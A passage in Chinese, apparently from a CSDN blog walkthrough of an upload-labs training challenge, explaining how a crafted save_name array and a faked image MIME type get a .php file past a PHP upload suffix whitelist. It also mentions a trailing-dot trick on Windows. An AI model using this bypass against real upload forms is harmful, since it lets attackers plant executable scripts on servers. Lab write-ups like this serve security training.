    $msg = "请选择要上传的文件！";
}

在这里，首先判断MINE类型，然后file_name后面拼接上一个点和一个POST数据save_name

故在这里修改包需满足

MINE为image/xxx
需要有save_name[0] 和save_name,这个时候$file[count($file)-1] = $file[1] 为空
save_name[0] 为upload21.php/
save_name为jpg，方便$ext = end($file)=jpg，最后绕过$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix))的后缀验证

另外，上面的upload21.php/ 改成upload21.php也可以的，因为这个时候在windows系统中，后缀后面的.会忽略掉

总结

原文链接：https://blog.csdn.net/kongzhian/article/details/120414847